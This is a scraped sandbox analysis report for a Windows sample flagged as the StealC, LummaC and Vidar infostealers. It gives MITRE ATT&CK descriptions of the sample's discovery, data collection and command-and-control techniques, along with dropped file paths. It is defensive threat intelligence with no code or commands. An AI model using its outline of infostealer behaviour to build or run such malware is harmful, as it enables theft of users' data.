Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKF\JECAEH

C:\ProgramData\AEGIJKEHCAKF\JKEHII

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJEBGIJK

C:\ProgramData\DBGIJEHIIDGC\AFCAAE

C:\ProgramData\DBGIJEHIIDGC\AKFHDB

C:\ProgramData\DBGIJEHIIDGC\BAFIEG

C:\ProgramData\DBGIJEHIIDGC\BAFIEG-shm

C:\ProgramData\DBGIJEHIIDGC\BGIJJK

C:\ProgramData\DBGIJEHIIDGC\CFIECB

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre